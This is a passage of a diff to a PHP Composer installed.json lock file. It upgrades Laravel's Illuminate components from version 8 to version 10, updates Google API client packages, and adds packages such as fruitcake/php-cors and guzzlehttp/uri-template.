"3d158f36e7875e2f040f37bc0573956240a5a38b", + "shasum": "" + }, + "require": { + "php": "^7.4|^8.0", + "symfony/http-foundation": "^4.4|^5.4|^6|^7" + }, + "require-dev": { + "phpstan/phpstan": "^1.4", + "phpunit/phpunit": "^9", + "squizlabs/php_codesniffer": "^3.5" + }, + "time": "2023-10-12T05:21:21+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.2-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Fruitcake\\Cors\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fruitcake", + "homepage": "https://fruitcake.nl" + }, + { + "name": "Barryvdh", + "email": "barryvdh@gmail.com" + } + ], + "description": "Cross-origin resource sharing library for the Symfony HttpFoundation", + "homepage": "https://github.com/fruitcake/php-cors", + "keywords": [ + "cors", + "laravel", + "symfony" + ], + "support": { + "issues": "https://github.com/fruitcake/php-cors/issues", + "source": "https://github.com/fruitcake/php-cors/tree/v1.3.0" + }, + "funding": [ + { + "url": "https://fruitcake.nl", + "type": "custom" + }, + { + "url": "https://github.com/barryvdh", + "type": "github" + } + ], + "install-path": "../fruitcake/php-cors" + }, { "name": "google/apiclient", "version": "v2.16.0", @@ -675,26 +1168,26 @@ }, { "name": "google/apiclient-services", - "version": "v0.355.0", - "version_normalized": "0.355.0.0", + "version": "v0.359.0", + "version_normalized": "0.359.0.0", "source": { "type": "git", "url": "https://github.com/googleapis/google-api-php-client-services.git", - "reference": "235e6a45ecafd77accc102b5ab6d529aab54da23" + "reference": "e975e6d0efa47f7e49280c4ea7fd6a93b6d7e338" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/googleapis/google-api-php-client-services/zipball/235e6a45ecafd77accc102b5ab6d529aab54da23", - "reference": "235e6a45ecafd77accc102b5ab6d529aab54da23", + "url": "https://api.github.com/repos/googleapis/google-api-php-client-services/zipball/e975e6d0efa47f7e49280c4ea7fd6a93b6d7e338", + "reference": "e975e6d0efa47f7e49280c4ea7fd6a93b6d7e338", "shasum": "" }, "require": { - "php": "^7.4||^8.0" + "php": "^8.0" }, "require-dev": { - "phpunit/phpunit": "^5.7||^8.5.13" + "phpunit/phpunit": "^9.6" }, - "time": "2024-05-11T01:02:11+00:00", + "time": "2024-06-10T01:02:17+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -716,46 +1209,48 @@ ], "support": { "issues": "https://github.com/googleapis/google-api-php-client-services/issues", - "source": "https://github.com/googleapis/google-api-php-client-services/tree/v0.355.0" + "source": "https://github.com/googleapis/google-api-php-client-services/tree/v0.359.0" }, "install-path": "../google/apiclient-services" }, { "name": "google/auth", - "version": "v1.37.1", - "version_normalized": "1.37.1.0", + "version": "v1.40.0", + "version_normalized": "1.40.0.0", "source": { "type": "git", "url": "https://github.com/googleapis/google-auth-library-php.git", - "reference": "1a7de77b72e6ac60dccf0e6478c4c1005bb0ff46" + "reference": "bff9f2d01677e71a98394b5ac981b99523df5178" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/googleapis/google-auth-library-php/zipball/1a7de77b72e6ac60dccf0e6478c4c1005bb0ff46", - "reference": "1a7de77b72e6ac60dccf0e6478c4c1005bb0ff46", + "url": "https://api.github.com/repos/googleapis/google-auth-library-php/zipball/bff9f2d01677e71a98394b5ac981b99523df5178", + "reference": "bff9f2d01677e71a98394b5ac981b99523df5178", "shasum": "" }, "require": { "firebase/php-jwt": "^6.0", - "guzzlehttp/guzzle": "^6.5.8||^7.4.5", + "guzzlehttp/guzzle": "^7.4.5", "guzzlehttp/psr7": "^2.4.5", - "php": "^7.4||^8.0", - "psr/cache": "^1.0||^2.0||^3.0", + "php": "^8.0", + "psr/cache": "^2.0||^3.0", "psr/http-message": "^1.1||^2.0" }, "require-dev": { "guzzlehttp/promises": "^2.0", "kelvinmo/simplejwt": "0.7.1", - "phpseclib/phpseclib": "^3.0", - "phpspec/prophecy-phpunit": "^2.0", - "phpunit/phpunit": "^9.0.0", + "phpseclib/phpseclib": "^3.0.35", + "phpspec/prophecy-phpunit": "^2.1", + "phpunit/phpunit": "^9.6", "sebastian/comparator": ">=1.2.3", - "squizlabs/php_codesniffer": "^3.5" + "squizlabs/php_codesniffer": "^3.5", + "symfony/process": "^6.0||^7.0", + "webmozart/assert": "^1.11" }, "suggest": { "phpseclib/phpseclib": "May be used in place of OpenSSL for signing strings or for token management. Please require version ^2." }, - "time": "2024-04-03T18:41:12+00:00", + "time": "2024-05-31T19:16:15+00:00", "type": "library", "installation-source": "dist", "autoload": { @@ -777,7 +1272,7 @@ "support": { "docs": "https://googleapis.github.io/google-auth-library-php/main/", "issues": "https://github.com/googleapis/google-auth-library-php/issues", - "source": "https://github.com/googleapis/google-auth-library-php/tree/v1.37.1" + "source": "https://github.com/googleapis/google-auth-library-php/tree/v1.40.0" }, "install-path": "../google/auth" }, @@ -1115,36 +1610,125 @@ ], "install-path": "../guzzlehttp/psr7" }, + { + "name": "guzzlehttp/uri-template", + "version": "v1.0.3", + "version_normalized": "1.0.3.0", + "source": { + "type": "git", + "url": "https://github.com/guzzle/uri-template.git", + "reference": "ecea8feef63bd4fef1f037ecb288386999ecc11c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/uri-template/zipball/ecea8feef63bd4fef1f037ecb288386999ecc11c", + "reference": "ecea8feef63bd4fef1f037ecb288386999ecc11c", + "shasum": "" + }, + "require": { + "php": "^7.2.5 || ^8.0", + "symfony/polyfill-php80": "^1.24" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.8.2", + "phpunit/phpunit": "^8.5.36 || ^9.6.15", + "uri-template/tests": "1.0.0" + }, + "time": "2023-12-03T19:50:20+00:00", + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": false + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "GuzzleHttp\\UriTemplate\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "George Mponos", + "email": "gmponos@gmail.com", + "homepage": "https://github.com/gmponos" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + } + ], + "description": "A polyfill class for uri_template of PHP", + "keywords": [ + "guzzlehttp", + "uri-template" + ], + "support": { + "issues": "https://github.com/guzzle/uri-template/issues", + "source": "https://github.com/guzzle/uri-template/tree/v1.0.3" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/uri-template", + "type": "tidelift" + } + ], + "install-path": "../guzzlehttp/uri-template" + }, { "name": "illuminate/bus", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/bus.git", - "reference": "d2a8ae4bfd881086e55455e470776358eab27eae" + "reference": "252e200dacaeb168675cbf1aa26dbead57492a6c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/bus/zipball/d2a8ae4bfd881086e55455e470776358eab27eae", - "reference": "d2a8ae4bfd881086e55455e470776358eab27eae", + "url": "https://api.github.com/repos/illuminate/bus/zipball/252e200dacaeb168675cbf1aa26dbead57492a6c", + "reference": "252e200dacaeb168675cbf1aa26dbead57492a6c", "shasum": "" }, "require": { - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/pipeline": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/pipeline": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" }, "suggest": { "illuminate/queue": "Required to use closures when chaining jobs (^7.0)." }, - "time": "2022-03-07T15:02:42+00:00", + "time": "2024-05-24T17:00:27+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -1173,41 +1757,43 @@ }, { "name": "illuminate/cache", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/cache.git", - "reference": "7ae5b3661413dad7264b5c69037190d766bae50f" + "reference": "6020bc5f40b62cc680be3eb57e980e5cb26884ff" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/cache/zipball/7ae5b3661413dad7264b5c69037190d766bae50f", - "reference": "7ae5b3661413dad7264b5c69037190d766bae50f", + "url": "https://api.github.com/repos/illuminate/cache/zipball/6020bc5f40b62cc680be3eb57e980e5cb26884ff", + "reference": "6020bc5f40b62cc680be3eb57e980e5cb26884ff", "shasum": "" }, "require": { - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" }, "provide": { - "psr/simple-cache-implementation": "1.0" + "psr/simple-cache-implementation": "1.0|2.0|3.0" }, "suggest": { + "ext-apcu": "Required to use the APC cache driver.", + "ext-filter": "Required to use the DynamoDb cache driver.", "ext-memcached": "Required to use the memcache cache driver.", - "illuminate/database": "Required to use the database cache driver (^8.0).", - "illuminate/filesystem": "Required to use the file cache driver (^8.0).", - "illuminate/redis": "Required to use the redis cache driver (^8.0).", - "symfony/cache": "Required to PSR-6 cache bridge (^5.4)." + "illuminate/database": "Required to use the database cache driver (^10.0).", + "illuminate/filesystem": "Required to use the file cache driver (^10.0).", + "illuminate/redis": "Required to use the redis cache driver (^10.0).", + "symfony/cache": "Required to use PSR-6 cache bridge (^6.2)." }, - "time": "2022-07-22T14:58:32+00:00", + "time": "2024-05-23T18:38:25+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -1236,32 +1822,33 @@ }, { "name": "illuminate/collections", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/collections.git", - "reference": "705a4e1ef93cd492c45b9b3e7911cccc990a07f4" + "reference": "f9589f1063a449111dcaa1d68285b507d9483a95" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/collections/zipball/705a4e1ef93cd492c45b9b3e7911cccc990a07f4", - "reference": "705a4e1ef93cd492c45b9b3e7911cccc990a07f4", + "url": "https://api.github.com/repos/illuminate/collections/zipball/f9589f1063a449111dcaa1d68285b507d9483a95", + "reference": "f9589f1063a449111dcaa1d68285b507d9483a95", "shasum": "" }, "require": { - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "php": "^7.3|^8.0" + "illuminate/conditionable": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "php": "^8.1" }, "suggest": { - "symfony/var-dumper": "Required to use the dump method (^5.4)." + "symfony/var-dumper": "Required to use the dump method (^6.2)." }, - "time": "2022-06-23T15:29:49+00:00", + "time": "2024-03-20T20:09:13+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -1291,31 +1878,80 @@ }, "install-path": "../illuminate/collections" }, + { + "name": "illuminate/conditionable", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", + "source": { + "type": "git", + "url": "https://github.com/illuminate/conditionable.git", + "reference": "d0958e4741fc9d6f516a552060fd1b829a85e009" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/illuminate/conditionable/zipball/d0958e4741fc9d6f516a552060fd1b829a85e009", + "reference": "d0958e4741fc9d6f516a552060fd1b829a85e009", + "shasum": "" + }, + "require": { + "php": "^8.0.2" + }, + "time": "2023-02-03T08:06:17+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "10.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Illuminate\\Support\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "description": "The Illuminate Conditionable package.", + "homepage": "https://laravel.com", + "support": { + "issues": "https://github.com/laravel/framework/issues", + "source": "https://github.com/laravel/framework" + }, + "install-path": "../illuminate/conditionable" + }, { "name": "illuminate/config", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/config.git", - "reference": "feac56ab7a5c70cf2dc60dffe4323eb9851f51a8" + "reference": "d5e83ceff5c4d5607b1b81763eb4c436911c35da" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/config/zipball/feac56ab7a5c70cf2dc60dffe4323eb9851f51a8", - "reference": "feac56ab7a5c70cf2dc60dffe4323eb9851f51a8", + "url": "https://api.github.com/repos/illuminate/config/zipball/d5e83ceff5c4d5607b1b81763eb4c436911c35da", + "reference": "d5e83ceff5c4d5607b1b81763eb4c436911c35da", "shasum": "" }, "require": { - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "php": "^7.3|^8.0" + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "php": "^8.1" }, - "time": "2022-01-31T15:57:46+00:00", + "time": "2022-08-21T15:47:27+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -1344,41 +1980,46 @@ }, { "name": "illuminate/console", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/console.git", - "reference": "4aaa93223eb3bd8119157c95f58c022967826035" + "reference": "d001036218ea5fbb382ee5c845292b067ea8b46f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/console/zipball/4aaa93223eb3bd8119157c95f58c022967826035", - "reference": "4aaa93223eb3bd8119157c95f58c022967826035", + "url": "https://api.github.com/repos/illuminate/console/zipball/d001036218ea5fbb382ee5c845292b067ea8b46f", + "reference": "d001036218ea5fbb382ee5c845292b067ea8b46f", "shasum": "" }, "require": { - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0", - "symfony/console": "^5.4", - "symfony/process": "^5.4" + "ext-mbstring": "*", + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/support": "^10.0", + "illuminate/view": "^10.0", + "laravel/prompts": "^0.1.9", + "nunomaduro/termwind": "^1.13", + "php": "^8.1", + "symfony/console": "^6.2", + "symfony/process": "^6.2" }, "suggest": { - "dragonmantank/cron-expression": "Required to use scheduler (^3.0.2).", - "guzzlehttp/guzzle": "Required to use the ping methods on schedules (^6.5.5|^7.0.1).", - "illuminate/bus": "Required to use the scheduled job dispatcher (^8.0).", - "illuminate/container": "Required to use the scheduler (^8.0).", - "illuminate/filesystem": "Required to use the generator command (^8.0).", - "illuminate/queue": "Required to use closures for scheduled jobs (^8.0)." - }, - "time": "2022-04-21T22:14:18+00:00", + "dragonmantank/cron-expression": "Required to use scheduler (^3.3.2).", + "ext-pcntl": "Required to use signal trapping.", + "guzzlehttp/guzzle": "Required to use the ping methods on schedules (^7.5).", + "illuminate/bus": "Required to use the scheduled job dispatcher (^10.0).", + "illuminate/container": "Required to use the scheduler (^10.0).", + "illuminate/filesystem": "Required to use the generator command (^10.0).", + "illuminate/queue": "Required to use closures for scheduled jobs (^10.0)." + }, + "time": "2024-03-21T13:10:17+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -1407,32 +2048,32 @@ }, { "name": "illuminate/container", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/container.git", - "reference": "14062628d05f75047c5a1360b9350028427d568e" + "reference": "ddc26273085fad3c471b2602ad820e0097ff7939" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/container/zipball/14062628d05f75047c5a1360b9350028427d568e", - "reference": "14062628d05f75047c5a1360b9350028427d568e", + "url": "https://api.github.com/repos/illuminate/container/zipball/ddc26273085fad3c471b2602ad820e0097ff7939", + "reference": "ddc26273085fad3c471b2602ad820e0097ff7939", "shasum": "" }, "require": { - "illuminate/contracts": "^8.0", - "php": "^7.3|^8.0", - "psr/container": "^1.0" + "illuminate/contracts": "^10.0", + "php": "^8.1", + "psr/container": "^1.1.1|^2.0.1" }, "provide": { - "psr/container-implementation": "1.0" + "psr/container-implementation": "1.1|2.0" }, - "time": "2022-02-02T21:03:35+00:00", + "time": "2023-06-18T09:12:03+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -1461,29 +2102,29 @@ }, { "name": "illuminate/contracts", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/contracts.git", - "reference": "5e0fd287a1b22a6b346a9f7cd484d8cf0234585d" + "reference": "8d7152c4a1f5d9cf7da3e8b71f23e4556f6138ac" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/contracts/zipball/5e0fd287a1b22a6b346a9f7cd484d8cf0234585d", - "reference": "5e0fd287a1b22a6b346a9f7cd484d8cf0234585d", + "url": "https://api.github.com/repos/illuminate/contracts/zipball/8d7152c4a1f5d9cf7da3e8b71f23e4556f6138ac", + "reference": "8d7152c4a1f5d9cf7da3e8b71f23e4556f6138ac", "shasum": "" }, "require": { - "php": "^7.3|^8.0", - "psr/container": "^1.0", - "psr/simple-cache": "^1.0" + "php": "^8.1", + "psr/container": "^1.1.1|^2.0.1", + "psr/simple-cache": "^1.0|^2.0|^3.0" }, - "time": "2022-01-13T14:47:47+00:00", + "time": "2024-01-15T18:52:32+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -1512,43 +2153,48 @@ }, { "name": "illuminate/database", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/database.git", - "reference": "1a5b0e4e6913415464fa2aab554a38b9e6fa44b1" + "reference": "c57f5c8d3e55d9c952a2ad5f432bcb1dc2d3322c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/database/zipball/1a5b0e4e6913415464fa2aab554a38b9e6fa44b1", - "reference": "1a5b0e4e6913415464fa2aab554a38b9e6fa44b1", + "url": "https://api.github.com/repos/illuminate/database/zipball/c57f5c8d3e55d9c952a2ad5f432bcb1dc2d3322c", + "reference": "c57f5c8d3e55d9c952a2ad5f432bcb1dc2d3322c", "shasum": "" }, "require": { - "ext-json": "*", - "illuminate/collections": "^8.0", - "illuminate/container": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0", - "symfony/console": "^5.4" + "brick/math": "^0.9.3|^0.10.2|^0.11|^0.12", + "ext-pdo": "*", + "illuminate/collections": "^10.0", + "illuminate/container": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" + }, + "conflict": { + "carbonphp/carbon-doctrine-types": ">=3.0", + "doctrine/dbal": ">=4.0" }, "suggest": { - "doctrine/dbal": "Required to rename columns and drop SQLite columns (^2.13.3|^3.1.4).", - "fakerphp/faker": "Required to use the eloquent factory builder (^1.9.1).", - "illuminate/console": "Required to use the database commands (^8.0).", - "illuminate/events": "Required to use the observers with Eloquent (^8.0).", - "illuminate/filesystem": "Required to use the migrations (^8.0).", - "illuminate/pagination": "Required to paginate the result set (^8.0).", - "symfony/finder": "Required to use Eloquent model factories (^5.4)." - }, - "time": "2022-08-31T16:16:06+00:00", + "doctrine/dbal": "Required to rename columns and drop SQLite columns (^3.5.1).", + "ext-filter": "Required to use the Postgres database driver.", + "fakerphp/faker": "Required to use the eloquent factory builder (^1.21).", + "illuminate/console": "Required to use the database commands (^10.0).", + "illuminate/events": "Required to use the observers with Eloquent (^10.0).", + "illuminate/filesystem": "Required to use the migrations (^10.0).", + "illuminate/pagination": "Required to paginate the result set (^10.0).", + "symfony/finder": "Required to use Eloquent model factories (^6.2)." + }, + "time": "2024-05-13T17:20:36+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -1583,32 +2229,32 @@ }, { "name": "illuminate/encryption", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/encryption.git", - "reference": "00280dc6aa204b1b6c6d4bf75936d122bd856c15" + "reference": "0ab9942a891f82f927d03abb9a7320b89262f2a2" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/encryption/zipball/00280dc6aa204b1b6c6d4bf75936d122bd856c15", - "reference": "00280dc6aa204b1b6c6d4bf75936d122bd856c15", + "url": "https://api.github.com/repos/illuminate/encryption/zipball/0ab9942a891f82f927d03abb9a7320b89262f2a2", + "reference": "0ab9942a891f82f927d03abb9a7320b89262f2a2", "shasum": "" }, "require": { - "ext-json": "*", + "ext-hash": "*", "ext-mbstring": "*", "ext-openssl": "*", - "illuminate/contracts": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" + "illuminate/contracts": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" }, - "time": "2022-03-14T18:47:47+00:00", + "time": "2023-11-21T16:21:31+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -1637,33 +2283,33 @@ }, { "name": "illuminate/events", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/events.git", - "reference": "b7f06cafb6c09581617f2ca05d69e9b159e5a35d" + "reference": "a931bfa88edc6ac52c9abbfd7b769343d321d3eb" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/events/zipball/b7f06cafb6c09581617f2ca05d69e9b159e5a35d", - "reference": "b7f06cafb6c09581617f2ca05d69e9b159e5a35d", + "url": "https://api.github.com/repos/illuminate/events/zipball/a931bfa88edc6ac52c9abbfd7b769343d321d3eb", + "reference": "a931bfa88edc6ac52c9abbfd7b769343d321d3eb", "shasum": "" }, "require": { - "illuminate/bus": "^8.0", - "illuminate/collections": "^8.0", - "illuminate/container": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" - }, - "time": "2021-09-15T14:32:50+00:00", + "illuminate/bus": "^10.0", + "illuminate/collections": "^10.0", + "illuminate/container": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" + }, + "time": "2024-03-04T14:41:04+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -1695,47 +2341,52 @@ }, { "name": "illuminate/filesystem", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/filesystem.git", - "reference": "73db3e9a233ed587ba54f52ab8580f3c7bc872b2" + "reference": "592fb581a52fba43bf78c2e4b22db540c9f9f149" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/filesystem/zipball/73db3e9a233ed587ba54f52ab8580f3c7bc872b2", - "reference": "73db3e9a233ed587ba54f52ab8580f3c7bc872b2", + "url": "https://api.github.com/repos/illuminate/filesystem/zipball/592fb581a52fba43bf78c2e4b22db540c9f9f149", + "reference": "592fb581a52fba43bf78c2e4b22db540c9f9f149", "shasum": "" }, "require": { - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0", - "symfony/finder": "^5.4" + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1", + "symfony/finder": "^6.2" }, "suggest": { + "ext-fileinfo": "Required to use the Filesystem class.", "ext-ftp": "Required to use the Flysystem FTP driver.", + "ext-hash": "Required to use the Filesystem class.", "illuminate/http": "Required for handling uploaded files (^7.0).", - "league/flysystem": "Required to use the Flysystem local and FTP drivers (^1.1).", - "league/flysystem-aws-s3-v3": "Required to use the Flysystem S3 driver (^1.0).", - "league/flysystem-cached-adapter": "Required to use the Flysystem cache (^1.0).", - "league/flysystem-sftp": "Required to use the Flysystem SFTP driver (^1.0).", + "league/flysystem": "Required to use the Flysystem local driver (^3.0.16).", + "league/flysystem-aws-s3-v3": "Required to use the Flysystem S3 driver (^3.0).", + "league/flysystem-ftp": "Required to use the Flysystem FTP driver (^3.0).", + "league/flysystem-sftp-v3": "Required to use the Flysystem SFTP driver (^3.0).", "psr/http-message": "Required to allow Storage::put to accept a StreamInterface (^1.0).", - "symfony/filesystem": "Required to enable support for relative symbolic links (^5.4).", - "symfony/mime": "Required to enable support for guessing extensions (^5.4)." + "symfony/filesystem": "Required to enable support for relative symbolic links (^6.2).", + "symfony/mime": "Required to enable support for guessing extensions (^6.2)." }, - "time": "2022-01-15T15:00:40+00:00", + "time": "2024-03-11T21:45:53+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", "autoload": { + "files": [ + "functions.php" + ], "psr-4": { "Illuminate\\Filesystem\\": "" } @@ -1760,29 +2411,29 @@ }, { "name": "illuminate/hashing", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/hashing.git", - "reference": "2617f4de8d0150a3f8641b086fafac8c1e0cdbf2" + "reference": "7ab4eae83a55aaef1c2ba5c06ea5bfd46bee1286" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/hashing/zipball/2617f4de8d0150a3f8641b086fafac8c1e0cdbf2", - "reference": "2617f4de8d0150a3f8641b086fafac8c1e0cdbf2", + "url": "https://api.github.com/repos/illuminate/hashing/zipball/7ab4eae83a55aaef1c2ba5c06ea5bfd46bee1286", + "reference": "7ab4eae83a55aaef1c2ba5c06ea5bfd46bee1286", "shasum": "" }, "require": { - "illuminate/contracts": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" + "illuminate/contracts": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" }, - "time": "2021-10-22T13:20:42+00:00", + "time": "2023-10-25T19:32:34+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": "dist", @@ -1811,39 +2462,41 @@ }, { "name": "illuminate/http", - "version": "v8.83.27", - "version_normalized": "8.83.27.0", + "version": "v10.48.12", + "version_normalized": "10.48.12.0", "source": { "type": "git", "url": "https://github.com/illuminate/http.git", - "reference": "38b8b0c8ca5d5231df9c515f3a3e7aac5f0da9f4" + "reference": "0dd2ee794017c7f5e811cf8fb0dc74c646918d30" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/http/zipball/38b8b0c8ca5d5231df9c515f3a3e7aac5f0da9f4", - "reference": "38b8b0c8ca5d5231df9c515f3a3e7aac5f0da9f4", + "url": "https://api.github.com/repos/illuminate/http/zipball/0dd2ee794017c7f5e811cf8fb0dc74c646918d30", + "reference": "0dd2ee794017c7f5e811cf8fb0dc74c646918d30", "shasum": "" }, "require": { - "ext-json": "*", - "illuminate/collections": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/session": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0", - "symfony/http-foundation": "^5.4", - "symfony/http-kernel": "^5.4", - "symfony/mime": "^5.4" + "ext-filter": "*", + "fruitcake/php-cors": "^1.2", + "guzzlehttp/uri-template": "^1.0", + "illuminate/collections": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/session": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1", + "symfony/http-foundation": "^6.4", + "symfony/http-kernel": "^6.2", + "symfony/mime": "^6.2" }, "suggest": { "ext-gd": "Required to use Illuminate\\Http\\Testing\\FileFactory::image().", - "guzzlehttp/guzzle": "Required to use the HTTP Client (^6.5.5|^7.0.1)." + "guzzlehttp/guzzle": "Required to use the HTTP Client (^7.5)." }, - "time": "2022-06-10T18:50:29+00:00", + "time": "2024-02-21T15:19:17+00:00", "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "installation-source": 